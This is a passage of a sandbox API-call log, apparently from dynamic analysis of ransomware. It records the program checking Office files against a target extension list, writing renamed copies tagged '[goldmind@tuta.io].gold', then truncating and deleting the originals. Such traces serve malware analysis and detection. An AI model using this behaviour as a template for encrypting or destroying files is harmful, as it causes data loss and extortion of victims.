"c:\\program files\\microsoft office\\office14\\1033\\offowci.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\offowci.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0103.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0103.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0103.758] lstrlenW (lpString=".doc") returned 4 [0103.758] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0103.758] lstrlenW (lpString=".docx") returned 5 [0103.758] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0103.758] lstrlenW (lpString=".pdf") returned 4 [0103.758] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0103.758] lstrlenW (lpString=".xls") returned 4 [0103.758] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0103.758] lstrlenW (lpString=".xlsx") returned 5 [0103.759] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0103.759] lstrlenW (lpString=".ppt") returned 4 [0103.759] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0103.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0103.759] lstrlenW (lpString=".zip") returned 4 [0103.759] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0103.759] lstrlenW (lpString=".rar") returned 4 [0103.759] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0103.759] lstrlenW (lpString=".bz2") returned 4 [0103.759] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0103.759] lstrlenW (lpString=".7z") returned 3 [0103.759] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0103.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0103.759] lstrlenW (lpString=".dbf") returned 4 [0103.759] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0103.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0103.759] lstrlenW (lpString=".1cd") returned 4 [0103.759] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0103.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0103.759] lstrlenW (lpString=".jpg") returned 4 [0103.759] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0103.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0103.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0103.759] lstrlenW (lpString=".doc") returned 4 [0103.759] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0103.759] lstrlenW (lpString=".docx") returned 5 [0103.759] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0103.759] lstrlenW (lpString=".pdf") returned 4 [0103.759] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0103.759] lstrlenW (lpString=".xls") returned 4 [0103.759] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0103.759] lstrlenW (lpString=".xlsx") returned 5 [0103.759] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0103.759] lstrlenW (lpString=".ppt") returned 4 [0103.759] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0103.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0103.759] lstrlenW (lpString=".zip") returned 4 [0103.759] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0103.759] lstrlenW (lpString=".rar") returned 4 [0103.759] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0103.759] lstrlenW (lpString=".bz2") returned 4 [0103.759] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0103.759] lstrlenW (lpString=".7z") returned 3 [0103.759] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0103.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0103.760] lstrlenW (lpString=".dbf") returned 4 [0103.760] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0103.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0103.760] lstrlenW (lpString=".1cd") returned 4 [0103.760] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0103.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL") returned 59 [0103.760] lstrlenW (lpString=".jpg") returned 4 [0103.760] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0103.760] lstrcmpiW (lpString1=".HXS", lpString2=".gold") returned 1 [0103.760] lstrlenW (lpString="OIS.HXS") returned 7 [0103.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0103.760] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=457988) returned 1 [0103.760] CloseHandle (hObject=0x38c) returned 1 [0103.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs")) returned 0x20 [0103.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0103.761] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.761] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0103.762] GetLastError () returned 0x0 [0103.762] ReadFile (in: hFile=0x38c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x6fd04, lpOverlapped=0x0) returned 1 [0103.771] WriteFile (in: hFile=0x3b4, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x6fd10, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x6fd10, lpOverlapped=0x0) returned 1 [0103.778] ReadFile (in: hFile=0x38c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.778] WriteFile (in: hFile=0x3b4, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0103.778] SetEndOfFile (hFile=0x3b4) returned 1 [0103.779] CloseHandle (hObject=0x3b4) returned 1 [0103.779] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.779] SetEndOfFile (hFile=0x38c) returned 1 [0104.031] CloseHandle (hObject=0x38c) returned 1 [0104.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.090] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs")) returned 1 [0104.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0104.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0104.112] lstrlenW (lpString=".doc") returned 4 [0104.112] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0104.112] lstrlenW (lpString=".docx") returned 5 [0104.112] lstrcmpiW (lpString1=".docx", lpString2="S.HXS") returned -1 [0104.112] lstrlenW (lpString=".pdf") returned 4 [0104.112] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0104.112] lstrlenW (lpString=".xls") returned 4 [0104.113] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0104.113] lstrlenW (lpString=".xlsx") returned 5 [0104.113] lstrcmpiW (lpString1=".xlsx", lpString2="S.HXS") returned -1 [0104.113] lstrlenW (lpString=".ppt") returned 4 [0104.113] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0104.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0104.113] lstrlenW (lpString=".zip") returned 4 [0104.113] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0104.113] lstrlenW (lpString=".rar") returned 4 [0104.113] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0104.113] lstrlenW (lpString=".bz2") returned 4 [0104.113] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0104.113] lstrlenW (lpString=".7z") returned 3 [0104.113] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0104.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0104.113] lstrlenW (lpString=".dbf") returned 4 [0104.113] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0104.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0104.113] lstrlenW (lpString=".1cd") returned 4 [0104.113] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0104.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0104.113] lstrlenW (lpString=".jpg") returned 4 [0104.113] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0104.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0104.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0104.113] lstrlenW (lpString=".doc") returned 4 [0104.113] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0104.113] lstrlenW (lpString=".docx") returned 5 [0104.113] lstrcmpiW (lpString1=".docx", lpString2="S.HXS") returned -1 [0104.113] lstrlenW (lpString=".pdf") returned 4 [0104.113] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0104.113] lstrlenW (lpString=".xls") returned 4 [0104.113] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0104.113] lstrlenW (lpString=".xlsx") returned 5 [0104.113] lstrcmpiW (lpString1=".xlsx", lpString2="S.HXS") returned -1 [0104.113] lstrlenW (lpString=".ppt") returned 4 [0104.113] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0104.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0104.113] lstrlenW (lpString=".zip") returned 4 [0104.113] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0104.113] lstrlenW (lpString=".rar") returned 4 [0104.113] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0104.113] lstrlenW (lpString=".bz2") returned 4 [0104.113] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0104.113] lstrlenW (lpString=".7z") returned 3 [0104.113] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0104.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0104.113] lstrlenW (lpString=".dbf") returned 4 [0104.113] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0104.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0104.113] lstrlenW (lpString=".1cd") returned 4 [0104.113] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0104.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS") returned 55 [0104.113] lstrlenW (lpString=".jpg") returned 4 [0104.114] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0104.114] lstrcmpiW (lpString1=".HXT", lpString2=".gold") returned 1 [0104.114] lstrlenW (lpString="ONENOTE_COL.HXT") returned 15 [0104.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0104.132] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=207) returned 1 [0104.132] CloseHandle (hObject=0x3b4) returned 1 [0104.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt")) returned 0x20 [0104.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0104.188] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.188] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0104.189] GetLastError () returned 0x0 [0104.189] ReadFile (in: hFile=0x194, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0xcf, lpOverlapped=0x0) returned 1 [0104.189] WriteFile (in: hFile=0x3c0, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0104.190] ReadFile (in: hFile=0x194, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0104.190] WriteFile (in: hFile=0x3c0, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0104.190] SetEndOfFile (hFile=0x3c0) returned 1 [0104.190] CloseHandle (hObject=0x3c0) returned 1 [0104.190] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.190] SetEndOfFile (hFile=0x194) returned 1 [0104.192] CloseHandle (hObject=0x194) returned 1 [0104.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.192] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt")) returned 1 [0104.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0104.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0104.193] lstrlenW (lpString=".doc") returned 4 [0104.193] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0104.193] lstrlenW (lpString=".docx") returned 5 [0104.193] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0104.193] lstrlenW (lpString=".pdf") returned 4 [0104.193] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0104.193] lstrlenW (lpString=".xls") returned 4 [0104.193] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0104.193] lstrlenW (lpString=".xlsx") returned 5 [0104.193] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0104.193] lstrlenW (lpString=".ppt") returned 4 [0104.193] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0104.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0104.193] lstrlenW (lpString=".zip") returned 4 [0104.193] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0104.193] lstrlenW (lpString=".rar") returned 4 [0104.193] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0104.193] lstrlenW (lpString=".bz2") returned 4 [0104.193] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0104.193] lstrlenW (lpString=".7z") returned 3 [0104.194] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0104.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0104.194] lstrlenW (lpString=".dbf") returned 4 [0104.194] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0104.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0104.194] lstrlenW (lpString=".1cd") returned 4 [0104.194] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0104.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0104.194] lstrlenW (lpString=".jpg") returned 4 [0104.194] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0104.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0104.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0104.194] lstrlenW (lpString=".doc") returned 4 [0104.194] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0104.194] lstrlenW (lpString=".docx") returned 5 [0104.194] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0104.194] lstrlenW (lpString=".pdf") returned 4 [0104.194] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0104.194] lstrlenW (lpString=".xls") returned 4 [0104.194] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0104.194] lstrlenW (lpString=".xlsx") returned 5 [0104.194] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0104.194] lstrlenW (lpString=".ppt") returned 4 [0104.194] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0104.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0104.194] lstrlenW (lpString=".zip") returned 4 [0104.194] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0104.194] lstrlenW (lpString=".rar") returned 4 [0104.194] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0104.194] lstrlenW (lpString=".bz2") returned 4 [0104.194] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0104.194] lstrlenW (lpString=".7z") returned 3 [0104.194] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0104.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0104.194] lstrlenW (lpString=".dbf") returned 4 [0104.194] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0104.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0104.194] lstrlenW (lpString=".1cd") returned 4 [0104.194] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0104.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT") returned 63 [0104.194] lstrlenW (lpString=".jpg") returned 4 [0104.194] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0104.194] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".gold") returned 1 [0104.194] lstrlenW (lpString="ONINTL.REST.IDX_DLL") returned 19 [0104.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0104.195] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=114560) returned 1 [0104.195] CloseHandle (hObject=0x194) returned 1 [0104.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll")) returned 0x20 [0104.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0104.196] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.196] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0104.198] GetLastError () returned 0x0 [0104.198] ReadFile (in: hFile=0x194, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x1bf80, lpOverlapped=0x0) returned 1 [0104.219] WriteFile (in: hFile=0x3c0, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x1bf90, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x1bf90, lpOverlapped=0x0) returned 1 [0104.220] ReadFile (in: hFile=0x194, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0104.220] WriteFile (in: hFile=0x3c0, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0104.221] SetEndOfFile (hFile=0x3c0) returned 1 [0104.221] CloseHandle (hObject=0x3c0) returned 1 [0104.221] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.221] SetEndOfFile (hFile=0x194) returned 1 [0104.224] CloseHandle (hObject=0x194) returned 1 [0104.224] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.224] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll")) returned 1 [0104.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0104.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0104.225] lstrlenW (lpString=".doc") returned 4 [0104.225] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0104.225] lstrlenW (lpString=".docx") returned 5 [0104.225] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0104.225] lstrlenW (lpString=".pdf") returned 4 [0104.225] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0104.225] lstrlenW (lpString=".xls") returned 4 [0104.225] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0104.225] lstrlenW (lpString=".xlsx") returned 5 [0104.225] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0104.225] lstrlenW (lpString=".ppt") returned 4 [0104.225] lstrcmpiW (lpString1=".ppt", 